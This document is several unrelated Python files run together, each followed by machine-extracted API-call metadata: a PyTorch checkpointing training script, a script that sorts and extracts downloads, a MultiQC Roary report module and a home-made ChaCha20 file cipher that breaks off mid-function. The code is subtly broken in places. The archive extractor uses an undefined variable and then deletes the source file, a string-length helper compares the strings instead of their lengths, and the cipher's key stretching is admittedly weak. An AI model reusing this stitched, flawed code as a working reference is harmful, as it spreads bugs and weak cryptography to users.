] | [((556, 595), 'dataclasses.field', 'field', ([], {'init': '(False)', 'default_factory': 'list'}), '(init=False, default_factory=list)\n', (561, 595), False, 'from dataclasses import dataclass, field\n'), ((692, 723), 'dataclasses.field', 'field', ([], {'default': '(20)', 'kw_only': '(True)'}), '(default=20, kw_only=True)\n', (697, 723), False, 'from dataclasses import dataclass, field\n'), ((919, 949), 'dataclasses.field', 'field', ([], {'default': '(0)', 'kw_only': '(True)'}), '(default=0, kw_only=True)\n', (924, 949), False, 'from dataclasses import dataclass, field\n'), ((1122, 1143), 'cadquery.cq.Vector', 'cq.Vector', (['(10)', '(10)', '(10)'], {}), '(10, 10, 10)\n', (1131, 1143), False, 'from cadquery import cq\n'), ((1625, 1671), 'OCP.TopExp.TopExp_Explorer', 'TopExp_Explorer', (['compound.wrapped', 'TopAbs_FACE'], {}), '(compound.wrapped, TopAbs_FACE)\n', (1640, 1671), False, 'from OCP.TopExp import TopExp_Explorer\n'), ((6391, 6401), 'OCP.BRepFeat.BRepFeat', 'BRepFeat', ([], {}), '()\n', (6399, 6401), False, 'from OCP.BRepFeat import BRepFeat\n'), ((6247, 6274), 'cadquery.cq.Face.makeFromWires', 'cq.Face.makeFromWires', (['wire'], {}), '(wire)\n', (6268, 6274), False, 'from cadquery import cq\n'), ((6323, 6350), 'cadquery.cq.Face.makeFromWires', 'cq.Face.makeFromWires', (['wire'], {}), '(wire)\n', (6344, 6350), False, 'from cadquery import cq\n'), ((1766, 1779), 'cadquery.cq.Face', 'cq.Face', (['face'], {}), '(face)\n', (1773, 1779), False, 'from cadquery import cq\n'), ((5209, 5235), 'cadquery.cq.Face.makeFromWires', 'cq.Face.makeFromWires', (['obj'], {}), '(obj)\n', (5230, 5235), False, 'from cadquery import cq\n'), ((1972, 1986), 'cadquery.cq.Workplane', 'cq.Workplane', ([], {}), '()\n', (1984, 1986), False, 'from cadquery import cq\n')] |
# -*- coding: utf-8 -*-
"""
# @file name : 3_save_checkpoint.py
# @author : <NAME>
# @date : 20210403
# @brief : simulate the accident break
"""
import os
import random
import numpy as np
import torch
import torch.nn as nn
from torch.utils.data import DataLoader
import torchvision.transforms as transforms
import torch.optim as optim
from PIL import Image
from matplotlib import pyplot as plt
import sys
from model.lenet import LeNet
from tools.my_dataset import RMBDataset
from tools.common_tools import set_seed
import torchvision
hello_pytorch_DIR = os.path.abspath(os.path.dirname(__file__)+os.path.sep+"..")
sys.path.append(hello_pytorch_DIR)
set_seed(1)
rmb_label = {"1": 0, "100": 1}
checkpoint_interval = 5
MAX_EPOCH = 10
BATCH_SIZE = 16
LR = 0.01
log_interval = 10
val_interval = 1
# step 1/5: data preparation
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
split_dir = os.path.join(BASE_DIR, "..", "data", "rmb_split")
if not os.path.exists(split_dir):
raise Exception(r"data {} not exist, go back to split_dataset.py to generate data".format(split_dir))
train_dir = os.path.join(split_dir, "train")
valid_dir = os.path.join(split_dir, "valid")
norm_mean = [0.485, 0.456, 0.406]
norm_std = [0.229, 0.224, 0.225]
train_transform = transforms.Compose([
transforms.Resize((32, 32)),
transforms.RandomCrop(32, padding=4),
transforms.RandomGrayscale(p=0.8),
transforms.ToTensor(),
transforms.Normalize(norm_mean, norm_std),
])
valid_transform = transforms.Compose([
transforms.Resize((32, 32)),
transforms.ToTensor(),
transforms.Normalize(norm_mean, norm_std),
])
# build MyDataset instance
train_data = RMBDataset(data_dir=train_dir, transform=train_transform)
valid_data = RMBDataset(data_dir=valid_dir, transform=valid_transform)
# build DataLoader
train_loader = DataLoader(dataset=train_data, batch_size=BATCH_SIZE, shuffle=True)
valid_loader = DataLoader(dataset=valid_data, batch_size=BATCH_SIZE)
# step 2/5: model
net = LeNet(classes=2)
net.initialize_weights()
# step 3/5: loss function
criterion = nn.CrossEntropyLoss()
# step 4/5: optimizer
optimizer = optim.SGD(net.parameters(), lr=LR, momentum=0.9)
scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=6, gamma=0.1)
# step 5/5: training
train_curve, valid_curve = [], []
for epoch in range(MAX_EPOCH):
loss_mean = 0.
correct = 0.
total = 0.
net.train()
for i, data in enumerate(train_loader):
# forward
inputs, labels = data
outputs = net(inputs)
# backward
optimizer.zero_grad()
loss = criterion(outputs, labels)
loss.backward()
optimizer.step()
_, predicted = torch.max(outputs.data, 1)
total += labels.size(0)
correct += (predicted == labels).squeeze().sum().numpy()
loss_mean += loss.item()
train_curve.append(loss.item())
if (i+1) % log_interval == 0:
loss_mean = loss_mean / log_interval
print("Training:Epoch[{:0>3}/{:0>3}] Iteration[{:0>3}/{:0>3}] Loss: {:.4f} Acc:{:.2%}".format(
epoch, MAX_EPOCH, i+1, len(train_loader), loss_mean, correct / total))
loss_mean = 0.
scheduler.step()
if (epoch+1) % checkpoint_interval == 0:
checkpoint = {"model_state_dict": net.state_dict(),
"optimizer_state_dict": optimizer.state_dict(),
"epoch": epoch}
path_checkpoint = f"./checkpoint_{epoch}_epoch.pkl"
torch.save(checkpoint, path_checkpoint)
if epoch > 5:
print("训练意外中断...")
break
# validate the model
if (epoch+1) % val_interval == 0:
correct_val = 0.
total_val = 0.
loss_val = 0.
net.eval()
with torch.no_grad():
for j, data in enumerate(valid_loader):
inputs, labels = data
outputs = net(inputs)
loss = criterion(outputs, labels)
_, predicted = torch.max(outputs.data, 1)
total_val += labels.size(0)
correct_val += (predicted == labels).squeeze().sum().numpy()
loss_val += loss.item()
# every epoch's valid mean loss
loss_val_epoch = loss_val / len(valid_loader)
valid_curve.append(loss_val_epoch)
# valid_curve.append(loss.item()) # 20191022改,记录整个epoch样本的loss,注意要取平均
print("Valid:\t Epoch[{:0>3}/{:0>3}] Iteration[{:0>3}/{:0>3}] Loss: {:.4f} Acc:{:.2%}".format(
epoch, MAX_EPOCH, j+1, len(valid_loader), loss_val_epoch, correct_val / total_val))
train_x = range(len(train_curve))
train_y = train_curve
train_iters = len(train_loader)
# since train_curve record every batch's loss, but train_curve recoder every epoch's loss
# so we need to amplify and interpolate more points between the valid point
valid_x = np.arange(1, len(valid_curve)+1) * train_iters * val_interval
valid_y = valid_curve
plt.plot(train_x, train_y, label='Train')
plt.plot(valid_x, valid_y, label='Valid')
plt.legend(loc='upper right')
plt.ylabel('loss value')
plt.xlabel('Iteration')
plt.show()
| [
"torch.nn.CrossEntropyLoss",
"matplotlib.pyplot.ylabel",
"torch.max",
"sys.path.append",
"os.path.exists",
"tools.my_dataset.RMBDataset",
"matplotlib.pyplot.xlabel",
"matplotlib.pyplot.plot",
"torchvision.transforms.ToTensor",
"os.path.dirname",
"torchvision.transforms.Normalize",
"torch.save"... | [((632, 666), 'sys.path.append', 'sys.path.append', (['hello_pytorch_DIR'], {}), '(hello_pytorch_DIR)\n', (647, 666), False, 'import sys\n'), ((668, 679), 'tools.common_tools.set_seed', 'set_seed', (['(1)'], {}), '(1)\n', (676, 679), False, 'from tools.common_tools import set_seed\n'), ((909, 958), 'os.path.join', 'os.path.join', (['BASE_DIR', '""".."""', '"""data"""', '"""rmb_split"""'], {}), "(BASE_DIR, '..', 'data', 'rmb_split')\n", (921, 958), False, 'import os\n'), ((1111, 1143), 'os.path.join', 'os.path.join', (['split_dir', '"""train"""'], {}), "(split_dir, 'train')\n", (1123, 1143), False, 'import os\n'), ((1156, 1188), 'os.path.join', 'os.path.join', (['split_dir', '"""valid"""'], {}), "(split_dir, 'valid')\n", (1168, 1188), False, 'import os\n'), ((1679, 1736), 'tools.my_dataset.RMBDataset', 'RMBDataset', ([], {'data_dir': 'train_dir', 'transform': 'train_transform'}), '(data_dir=train_dir, transform=train_transform)\n', (1689, 1736), False, 'from tools.my_dataset import RMBDataset\n'), ((1750, 1807), 'tools.my_dataset.RMBDataset', 'RMBDataset', ([], {'data_dir': 'valid_dir', 'transform': 'valid_transform'}), '(data_dir=valid_dir, transform=valid_transform)\n', (1760, 1807), False, 'from tools.my_dataset import RMBDataset\n'), ((1843, 1910), 'torch.utils.data.DataLoader', 'DataLoader', ([], {'dataset': 'train_data', 'batch_size': 'BATCH_SIZE', 'shuffle': '(True)'}), '(dataset=train_data, batch_size=BATCH_SIZE, shuffle=True)\n', (1853, 1910), False, 'from torch.utils.data import DataLoader\n'), ((1926, 1979), 'torch.utils.data.DataLoader', 'DataLoader', ([], {'dataset': 'valid_data', 'batch_size': 'BATCH_SIZE'}), '(dataset=valid_data, batch_size=BATCH_SIZE)\n', (1936, 1979), False, 'from torch.utils.data import DataLoader\n'), ((2005, 2021), 'model.lenet.LeNet', 'LeNet', ([], {'classes': '(2)'}), '(classes=2)\n', (2010, 2021), False, 'from model.lenet import LeNet\n'), ((2086, 2107), 'torch.nn.CrossEntropyLoss', 'nn.CrossEntropyLoss', ([], {}), '()\n', (2105, 2107), True, 'import torch.nn as nn\n'), ((2204, 2270), 'torch.optim.lr_scheduler.StepLR', 'torch.optim.lr_scheduler.StepLR', (['optimizer'], {'step_size': '(6)', 'gamma': '(0.1)'}), '(optimizer, step_size=6, gamma=0.1)\n', (2235, 2270), False, 'import torch\n'), ((5005, 5046), 'matplotlib.pyplot.plot', 'plt.plot', (['train_x', 'train_y'], {'label': '"""Train"""'}), "(train_x, train_y, label='Train')\n", (5013, 5046), True, 'from matplotlib import pyplot as plt\n'), ((5047, 5088), 'matplotlib.pyplot.plot', 'plt.plot', (['valid_x', 'valid_y'], {'label': '"""Valid"""'}), "(valid_x, valid_y, label='Valid')\n", (5055, 5088), True, 'from matplotlib import pyplot as plt\n'), ((5090, 5119), 'matplotlib.pyplot.legend', 'plt.legend', ([], {'loc': '"""upper right"""'}), "(loc='upper right')\n", (5100, 5119), True, 'from matplotlib import pyplot as plt\n'), ((5120, 5144), 'matplotlib.pyplot.ylabel', 'plt.ylabel', (['"""loss value"""'], {}), "('loss value')\n", (5130, 5144), True, 'from matplotlib import pyplot as plt\n'), ((5145, 5168), 'matplotlib.pyplot.xlabel', 'plt.xlabel', (['"""Iteration"""'], {}), "('Iteration')\n", (5155, 5168), True, 'from matplotlib import pyplot as plt\n'), ((5169, 5179), 'matplotlib.pyplot.show', 'plt.show', ([], {}), '()\n', (5177, 5179), True, 'from matplotlib import pyplot as plt\n'), ((870, 895), 'os.path.abspath', 'os.path.abspath', (['__file__'], {}), '(__file__)\n', (885, 895), False, 'import os\n'), ((966, 991), 'os.path.exists', 'os.path.exists', (['split_dir'], {}), '(split_dir)\n', (980, 991), False, 'import os\n'), ((1301, 1328), 'torchvision.transforms.Resize', 'transforms.Resize', (['(32, 32)'], {}), '((32, 32))\n', (1318, 1328), True, 'import torchvision.transforms as transforms\n'), ((1334, 1370), 'torchvision.transforms.RandomCrop', 'transforms.RandomCrop', (['(32)'], {'padding': '(4)'}), '(32, padding=4)\n', (1355, 1370), True, 'import torchvision.transforms as transforms\n'), ((1376, 1409), 'torchvision.transforms.RandomGrayscale', 'transforms.RandomGrayscale', ([], {'p': '(0.8)'}), '(p=0.8)\n', (1402, 1409), True, 'import torchvision.transforms as transforms\n'), ((1415, 1436), 'torchvision.transforms.ToTensor', 'transforms.ToTensor', ([], {}), '()\n', (1434, 1436), True, 'import torchvision.transforms as transforms\n'), ((1442, 1483), 'torchvision.transforms.Normalize', 'transforms.Normalize', (['norm_mean', 'norm_std'], {}), '(norm_mean, norm_std)\n', (1462, 1483), True, 'import torchvision.transforms as transforms\n'), ((1532, 1559), 'torchvision.transforms.Resize', 'transforms.Resize', (['(32, 32)'], {}), '((32, 32))\n', (1549, 1559), True, 'import torchvision.transforms as transforms\n'), ((1565, 1586), 'torchvision.transforms.ToTensor', 'transforms.ToTensor', ([], {}), '()\n', (1584, 1586), True, 'import torchvision.transforms as transforms\n'), ((1592, 1633), 'torchvision.transforms.Normalize', 'transforms.Normalize', (['norm_mean', 'norm_std'], {}), '(norm_mean, norm_std)\n', (1612, 1633), True, 'import torchvision.transforms as transforms\n'), ((2717, 2743), 'torch.max', 'torch.max', (['outputs.data', '(1)'], {}), '(outputs.data, 1)\n', (2726, 2743), False, 'import torch\n'), ((3528, 3567), 'torch.save', 'torch.save', (['checkpoint', 'path_checkpoint'], {}), '(checkpoint, path_checkpoint)\n', (3538, 3567), False, 'import torch\n'), ((588, 613), 'os.path.dirname', 'os.path.dirname', (['__file__'], {}), '(__file__)\n', (603, 613), False, 'import os\n'), ((3795, 3810), 'torch.no_grad', 'torch.no_grad', ([], {}), '()\n', (3808, 3810), False, 'import torch\n'), ((4022, 4048), 'torch.max', 'torch.max', (['outputs.data', '(1)'], {}), '(outputs.data, 1)\n', (4031, 4048), False, 'import torch\n')] |
#!/usr/bin/env python3
import os
import re
import shutil
import subprocess
def matchFilm(s):
'''
Given string s,
Return true if s match conventional film name
'''
film = re.fullmatch(r'(.*?)(19|20)\d{2}(.*?)(.mp4|.mkv|.rar|.zip)$', s)
psarips = re.fullmatch(r'(.*?)(\d\d\d\d)(.*?)(\.x265\.HEVC\-PSA)(.mp4|.mkv|.rar|.zip)$', s)
return psarips or film
def matchVideo(s):
'''
Given string s,
Return true if s match conventional film name
'''
video = re.fullmatch(r'(.*?)(.mp4|.mkv)$', s)
return video
def matchSeries(s):
'''
Given string s,
Return true if s match conventional tv-series name
'''
return re.fullmatch(r'(.*?)(S\d\dE\d\d)(.*?)(.mp4|.mkv|.rar|.zip)$', s)
def matchArchive(s):
'''
Given string s,
Return true if s match compressed file
'''
return re.fullmatch(r'(.*?)(.7z|.rar|.zip)$', s)
def createDirIfNotExist(dir_path):
'''
Given directory path,
Check if directory exist, if not create it.
'''
if not os.path.exists(dir_path):
os.mkdir(dir_path)
def moveFile(source, destination):
'''
Given source and destination
Move file from source to destination
'''
print("from:", end=" ")
print(source)
createDirIfNotExist(destination)
new_location = shutil.move(source, destination)
print("to:", end=" ")
print(new_location)
def createSimilarStr(a, b):
'''
Given string a and b,
return first longest first similar string
'''
sim = ''
shortest = len(a) if a > b else len(b)
for i in range(shortest):
if a[i] == b[i]:
sim += a[i]
else:
break
return sim
def extract(file_path, destination):
'''
Given file and destination path,
extract file in given directory
'''
sevzip = '/usr/bin/7z'
print(f"Extracting: {file_path} into {destination}...")
process = subprocess.Popen([sevzip, "x", file_path, "-o" + directory])
status = os.waitpid(process.pid, 0)[1]
if status == 0:
os.unlink(file_path)
print(f'{file_path} Deleted.')
download_dir = os.path.expanduser("~/Downloads")
series_dir = os.path.join(download_dir, "Series")
film_dir = os.path.join(download_dir, "Films")
video_dir = os.path.join(download_dir, "Videos")
for file_name in os.listdir(download_dir):
file_path = os.path.join(download_dir, file_name)
if matchSeries(file_name):
moveFile(file_path, series_dir)
elif matchFilm(file_name):
moveFile(file_path, film_dir)
elif matchVideo(file_name):
moveFile(file_path, video_dir)
for filename in os.listdir(series_dir):
filename_path = os.path.join(series_dir, filename)
if matchArchive(filename):
extract(filename_path, series_dir)
for filename in os.listdir(film_dir):
filename_path = os.path.join(film_dir, filename)
if matchArchive(filename):
extract(filename_path, film_dir)
holder = ''
try:
for file_name in sorted(os.listdir(series_dir)):
if holder:
new_dir = createSimilarStr(holder, file_name)
if len(new_dir) > 4:
createDirIfNotExist(os.path.join(series_dir, new_dir))
for file_name_2 in os.listdir(series_dir):
similar_dir = os.path.join(series_dir, new_dir)
file_path_2 = os.path.join(series_dir, file_name_2)
if new_dir == file_name_2[:len(new_dir)]:
moveFile(file_path_2, similar_dir)
holder = file_name
else:
holder = file_name
except FileNotFoundError:
print("Directory ~/Downloads/Series did not exist!")
| [
"os.path.exists",
"os.listdir",
"shutil.move",
"os.waitpid",
"subprocess.Popen",
"os.path.join",
"re.fullmatch",
"os.mkdir",
"os.unlink",
"os.path.expanduser"
] | [((2142, 2175), 'os.path.expanduser', 'os.path.expanduser', (['"""~/Downloads"""'], {}), "('~/Downloads')\n", (2160, 2175), False, 'import os\n'), ((2189, 2225), 'os.path.join', 'os.path.join', (['download_dir', '"""Series"""'], {}), "(download_dir, 'Series')\n", (2201, 2225), False, 'import os\n'), ((2237, 2272), 'os.path.join', 'os.path.join', (['download_dir', '"""Films"""'], {}), "(download_dir, 'Films')\n", (2249, 2272), False, 'import os\n'), ((2285, 2321), 'os.path.join', 'os.path.join', (['download_dir', '"""Videos"""'], {}), "(download_dir, 'Videos')\n", (2297, 2321), False, 'import os\n'), ((2340, 2364), 'os.listdir', 'os.listdir', (['download_dir'], {}), '(download_dir)\n', (2350, 2364), False, 'import os\n'), ((2648, 2670), 'os.listdir', 'os.listdir', (['series_dir'], {}), '(series_dir)\n', (2658, 2670), False, 'import os\n'), ((2818, 2838), 'os.listdir', 'os.listdir', (['film_dir'], {}), '(film_dir)\n', (2828, 2838), False, 'import os\n'), ((192, 256), 're.fullmatch', 're.fullmatch', (['"""(.*?)(19|20)\\\\d{2}(.*?)(.mp4|.mkv|.rar|.zip)$"""', 's'], {}), "('(.*?)(19|20)\\\\d{2}(.*?)(.mp4|.mkv|.rar|.zip)$', s)\n", (204, 256), False, 'import re\n'), ((271, 363), 're.fullmatch', 're.fullmatch', (['"""(.*?)(\\\\d\\\\d\\\\d\\\\d)(.*?)(\\\\.x265\\\\.HEVC\\\\-PSA)(.mp4|.mkv|.rar|.zip)$"""', 's'], {}), "(\n '(.*?)(\\\\d\\\\d\\\\d\\\\d)(.*?)(\\\\.x265\\\\.HEVC\\\\-PSA)(.mp4|.mkv|.rar|.zip)$', s)\n", (283, 363), False, 'import re\n'), ((498, 534), 're.fullmatch', 're.fullmatch', (['"""(.*?)(.mp4|.mkv)$"""', 's'], {}), "('(.*?)(.mp4|.mkv)$', s)\n", (510, 534), False, 'import re\n'), ((676, 743), 're.fullmatch', 're.fullmatch', (['"""(.*?)(S\\\\d\\\\dE\\\\d\\\\d)(.*?)(.mp4|.mkv|.rar|.zip)$"""', 's'], {}), "('(.*?)(S\\\\d\\\\dE\\\\d\\\\d)(.*?)(.mp4|.mkv|.rar|.zip)$', s)\n", (688, 743), False, 'import re\n'), ((854, 894), 're.fullmatch', 're.fullmatch', (['"""(.*?)(.7z|.rar|.zip)$"""', 's'], {}), "('(.*?)(.7z|.rar|.zip)$', s)\n", (866, 894), False, 'import re\n'), ((1319, 1351), 'shutil.move', 'shutil.move', (['source', 'destination'], {}), '(source, destination)\n', (1330, 1351), False, 'import shutil\n'), ((1931, 1991), 'subprocess.Popen', 'subprocess.Popen', (["[sevzip, 'x', file_path, '-o' + directory]"], {}), "([sevzip, 'x', file_path, '-o' + directory])\n", (1947, 1991), False, 'import subprocess\n'), ((2382, 2419), 'os.path.join', 'os.path.join', (['download_dir', 'file_name'], {}), '(download_dir, file_name)\n', (2394, 2419), False, 'import os\n'), ((2692, 2726), 'os.path.join', 'os.path.join', (['series_dir', 'filename'], {}), '(series_dir, filename)\n', (2704, 2726), False, 'import os\n'), ((2860, 2892), 'os.path.join', 'os.path.join', (['film_dir', 'filename'], {}), '(film_dir, filename)\n', (2872, 2892), False, 'import os\n'), ((1037, 1061), 'os.path.exists', 'os.path.exists', (['dir_path'], {}), '(dir_path)\n', (1051, 1061), False, 'import os\n'), ((1071, 1089), 'os.mkdir', 'os.mkdir', (['dir_path'], {}), '(dir_path)\n', (1079, 1089), False, 'import os\n'), ((2006, 2032), 'os.waitpid', 'os.waitpid', (['process.pid', '(0)'], {}), '(process.pid, 0)\n', (2016, 2032), False, 'import os\n'), ((2065, 2085), 'os.unlink', 'os.unlink', (['file_path'], {}), '(file_path)\n', (2074, 2085), False, 'import os\n'), ((3011, 3033), 'os.listdir', 'os.listdir', (['series_dir'], {}), '(series_dir)\n', (3021, 3033), False, 'import os\n'), ((3252, 3274), 'os.listdir', 'os.listdir', (['series_dir'], {}), '(series_dir)\n', (3262, 3274), False, 'import os\n'), ((3182, 3215), 'os.path.join', 'os.path.join', (['series_dir', 'new_dir'], {}), '(series_dir, new_dir)\n', (3194, 3215), False, 'import os\n'), ((3310, 3343), 'os.path.join', 'os.path.join', (['series_dir', 'new_dir'], {}), '(series_dir, new_dir)\n', (3322, 3343), False, 'import os\n'), ((3378, 3415), 'os.path.join', 'os.path.join', (['series_dir', 'file_name_2'], {}), '(series_dir, file_name_2)\n', (3390, 3415), False, 'import os\n')] |
#!/usr/bin/env python
""" MultiQC submodule to parse output from Roary """
import logging
import statistics
from multiqc.modules.base_module import BaseMultiqcModule
from multiqc import config
from multiqc.plots import bargraph, heatmap, linegraph
log = logging.getLogger('multiqc')
class MultiqcModule(BaseMultiqcModule):
def __init__(self):
super(MultiqcModule, self).__init__(name='Roary', anchor='roary',
href="https://sanger-pathogens.github.io/Roary/",
info="calculates the pan genome from annotated genome assemblies.")
""" Part 1. Getting the gene summary counts """
self.summary_data = dict()
for myfile in self.find_log_files('roary/summary'):
directory='_'.join(myfile['root'].split('/')[-4:-1])
self.summary_data.update({ directory : self.parse_summary(myfile)})
if len(self.summary_data) == 0:
raise UserWarning
self.summary_data = self.ignore_samples(self.summary_data)
log.info("Found {} logs".format(len(self.summary_data)))
self.write_data_file(self.summary_data, 'multiqc_roary_summary')
self.add_section(
name = 'Summary Statistics',
anchor = 'roary-summary',
description = 'This plot shows the number of genes that created the core genome',
plot = self.summary_plot() )
""" Part 2. Visualizing the kraken qc report """
self.kraken_data = dict()
self.kraken_keys = list()
for myfile in self.find_log_files('roary/qc'):
directory='_'.join(myfile['root'].split('/')[-4:-1])
self.kraken_data.update({directory : self.parse_kraken(myfile)})
self.kraken_data = self.ignore_samples(self.kraken_data)
self.write_data_file(self.kraken_data, 'multiqc_roary_qc')
self.add_section(
name = 'QC',
anchor = 'roary-qc',
description = 'This plot shows the organisms identified by kraken that went into the plot',
plot = self.kraken_plot() )
""" Part 3. Gene presence and absence heatmap for each directory """
self.roary_gene_data = dict()
self.roary_gene_genes = dict()
self.roary_gene_samples = dict()
for myfile in self.find_log_files('roary/gene_presence'):
directory='_'.join(myfile['root'].split('/')[-4:-1])
self.getdata(myfile, directory)
self.add_section(
name = 'Gene presence heatmap for ' + directory,
anchor = 'roary-' + directory,
description = 'This heatmap shows the score for each sample with the genes supplied from ' + directory,
plot = self.roary_heatmap_plot(directory) )
""" Part 4. Number of genes and Number of genomes """
# histogram of the number of genomes and number of genes. I don't think it's necessary at this time.
""" Part 5. Conserved Genes """
self.roary_gene_counts = dict()
self.roary_gene_counts['conserved'] = dict()
for myfile in self.find_log_files('roary/conserved_genes'):
directory='_'.join(myfile['root'].split('/')[-4:-1])
self.roary_gene_counts['conserved'].update({ directory : self.parse_gene_files(myfile) })
self.add_section(
name = 'Conserved Genes',
anchor = 'roary-conserved',
description = 'This plot shows the number of estimated conserved genes as the number of isolates increases',
plot = self.roary_gene_line_graph('conserved'))
""" Part 6. Total genes """
self.roary_gene_counts['total'] = dict()
for myfile in self.find_log_files('roary/total_genes'):
directory='_'.join(myfile['root'].split('/')[-4:-1])
self.roary_gene_counts['total'].update({ directory : self.parse_gene_files(myfile) })
self.add_section(
name = 'Total Genes',
anchor = 'roary-total',
description = 'This plot shows the number of estimated total genes as the number of isolates increases',
plot = self.roary_gene_line_graph('total'))
""" Part 7. Number of new genes """ # line graph dotted and solid
self.roary_gene_counts['new'] = dict()
for myfile in self.find_log_files('roary/new_genes'):
directory='_'.join(myfile['root'].split('/')[-4:-1])
self.roary_gene_counts['new'].update({ directory : self.parse_gene_files(myfile) })
self.add_section(
name = 'New Genes',
anchor = 'roary-new',
description = 'This plot shows the number of new genes as the number of isolates increases',
plot = self.roary_gene_line_graph('new'))
""" Part 8. Number of unique genes """
self.roary_gene_counts['unique'] = dict()
for myfile in self.find_log_files('roary/unique_genes'):
directory='_'.join(myfile['root'].split('/')[-4:-1])
self.roary_gene_counts['unique'].update({ directory : self.parse_gene_files(myfile) })
self.add_section(
name = 'Unique Genes',
anchor = 'roary-unique',
description = 'This plot shows the number of unique genes as the number of isolates increases',
plot = self.roary_gene_line_graph('unique'))
""" Part 1. Getting the gene summary counts """
def parse_summary(self, myfile):
parsed_data = dict()
for line in myfile['f'].splitlines():
keys = ['Core genes',
'Soft core genes',
'Shell genes',
'Cloud genes',
'Total genes']
for key in keys:
if key in line:
parsed_data[key] = line.split('\t')[-1]
return(parsed_data)
def summary_plot(self):
config = {
'id' : "roary_summary",
'title': "Roary: Summary Statistics",
'ylab': "Number of Genes"
}
keys = ['Core genes',
'Soft core genes',
'Shell genes',
'Cloud genes'
]
return bargraph.plot(self.summary_data, keys, config)
""" Part 2. Visualizing the kraken qc report """
def parse_kraken(self, myfile):
parsed_data = dict()
for line in myfile['f'].splitlines():
if 'Sample,Genus,Species' not in line:
species=line.split(",")[2]
if species not in self.kraken_keys:
self.kraken_keys.append(species)
# count each occurent of that organism for each qc result
if species not in parsed_data:
parsed_data[species] = 1
else:
parsed_data[species] = parsed_data[species] + 1
return(parsed_data)
def kraken_plot(self):
config = {
'id' : "roary_qc",
'title': "Roary: QC report",
'xlab': "Sample",
'ylab': "Organism"
}
return bargraph.plot(self.kraken_data, self.kraken_keys, config)
""" Part 3. Gene presence and absence heatmap for each directory """
def getdata(self, myfile, directory):
self.roary_gene_genes[directory] = []
self.roary_gene_data[directory] = []
for line in myfile['f'].splitlines():
if not line.split("\t")[0] == "Gene":
# gets the sample name
self.roary_gene_genes[directory].append(line.split("\t")[0])
self.roary_gene_data[directory].append(line.split("\t")[1:])
else:
self.roary_gene_samples[directory] = line.split("\t")[1:]
def roary_heatmap_plot(self, directory):
config = {
'id' : "roary_" + directory,
'title': "Roary: " + directory,
'square': False,
'colstops': [ [0, '#FFFFFF'], [1, '#000000'], ],
'legend': False,
}
return heatmap.plot(self.roary_gene_data[directory], self.roary_gene_samples[directory], self.roary_gene_genes[directory], config)
""" Part 5-8. Parsing Rtab files Conserved Genes """
def parse_gene_files(self, myfile):
line_averages={}
number_of_lines = len(myfile['f'].splitlines())
number_of_columns = len(myfile['f'].splitlines()[0].split('\t'))
for i in range(0, number_of_columns):
column_numbers=[]
for j in range(0, number_of_lines):
result = int(myfile['f'].splitlines()[j].split('\t')[i])
column_numbers.append(result)
average=statistics.mean(column_numbers)
line_averages.update({ i : average })
return(line_averages)
def roary_gene_line_graph(self, type):
config = {
'id' : "roary_" + type,
'title': "Roary: Number of " + type + " genes as isolates are included",
}
return linegraph.plot(self.roary_gene_counts[type], config)
| [
"logging.getLogger",
"statistics.mean",
"multiqc.plots.linegraph.plot",
"multiqc.plots.heatmap.plot",
"multiqc.plots.bargraph.plot"
] | [((257, 285), 'logging.getLogger', 'logging.getLogger', (['"""multiqc"""'], {}), "('multiqc')\n", (274, 285), False, 'import logging\n'), ((6152, 6198), 'multiqc.plots.bargraph.plot', 'bargraph.plot', (['self.summary_data', 'keys', 'config'], {}), '(self.summary_data, keys, config)\n', (6165, 6198), False, 'from multiqc.plots import bargraph, heatmap, linegraph\n'), ((7052, 7109), 'multiqc.plots.bargraph.plot', 'bargraph.plot', (['self.kraken_data', 'self.kraken_keys', 'config'], {}), '(self.kraken_data, self.kraken_keys, config)\n', (7065, 7109), False, 'from multiqc.plots import bargraph, heatmap, linegraph\n'), ((7992, 8120), 'multiqc.plots.heatmap.plot', 'heatmap.plot', (['self.roary_gene_data[directory]', 'self.roary_gene_samples[directory]', 'self.roary_gene_genes[directory]', 'config'], {}), '(self.roary_gene_data[directory], self.roary_gene_samples[\n directory], self.roary_gene_genes[directory], config)\n', (8004, 8120), False, 'from multiqc.plots import bargraph, heatmap, linegraph\n'), ((8952, 9004), 'multiqc.plots.linegraph.plot', 'linegraph.plot', (['self.roary_gene_counts[type]', 'config'], {}), '(self.roary_gene_counts[type], config)\n', (8966, 9004), False, 'from multiqc.plots import bargraph, heatmap, linegraph\n'), ((8631, 8662), 'statistics.mean', 'statistics.mean', (['column_numbers'], {}), '(column_numbers)\n', (8646, 8662), False, 'import statistics\n')] |
#!/usr/bin/python3
# Usage:
# Encipher: python3 cipher.py -e input-file output-file
# Decipher: python3 cipher.py -d input-file output-file
import os, hashlib, struct
from sys import argv, exit
# ChaCha20 cipher
def keystream(key, iv, position=0):
assert isinstance(key,bytes) and len(key) == 32
assert isinstance(iv, bytes) and len(iv) == 8
def rotate(v, c):
return ((v << c) & 0xffffffff) | v >> (32 - c)
def quarter_round(x, a, b, c, d):
x[a] = (x[a] + x[b]) & 0xffffffff
x[d] = rotate(x[d] ^ x[a], 16)
x[c] = (x[c] + x[d]) & 0xffffffff
x[b] = rotate(x[b] ^ x[c], 12)
x[a] = (x[a] + x[b]) & 0xffffffff
x[d] = rotate(x[d] ^ x[a], 8)
x[c] = (x[c] + x[d]) & 0xffffffff
x[b] = rotate(x[b] ^ x[c], 7)
ctx = [0] * 16
ctx[:4] = (1634760805, 857760878, 2036477234, 1797285236)
ctx[4 : 12] = struct.unpack('<8L', key)
ctx[12] = ctx[13] = position
ctx[14 : 16] = struct.unpack('<LL', iv)
while 1:
x = list(ctx)
for i in range(10):
quarter_round(x, 0, 4, 8, 12)
quarter_round(x, 1, 5, 9, 13)
quarter_round(x, 2, 6, 10, 14)
quarter_round(x, 3, 7, 11, 15)
quarter_round(x, 0, 5, 10, 15)
quarter_round(x, 1, 6, 11, 12)
quarter_round(x, 2, 7, 8, 13)
quarter_round(x, 3, 4, 9, 14)
for c in struct.pack('<16L', *(
(x[i] + ctx[i]) & 0xffffffff for i in range(16))):
yield c
ctx[12] = (ctx[12] + 1) & 0xffffffff
if ctx[12] == 0:
ctx[13] = (ctx[13] + 1) & 0xffffffff
def apply_xor(stream, data):
assert isinstance(data, bytes)
return bytes(x^y for x, y in zip(data, stream))
def hash_value(*a):
hasher = hashlib.sha256()
for data in a:
hasher.update(data)
return hasher.digest()
# Weak, but better than nothing.
def key_stretch(h):
for k in range(10000): h = hash_value(h)
return h
def key_hash(salt, key):
h = hash_value(salt + key.replace(" ", "").encode("utf-8"))
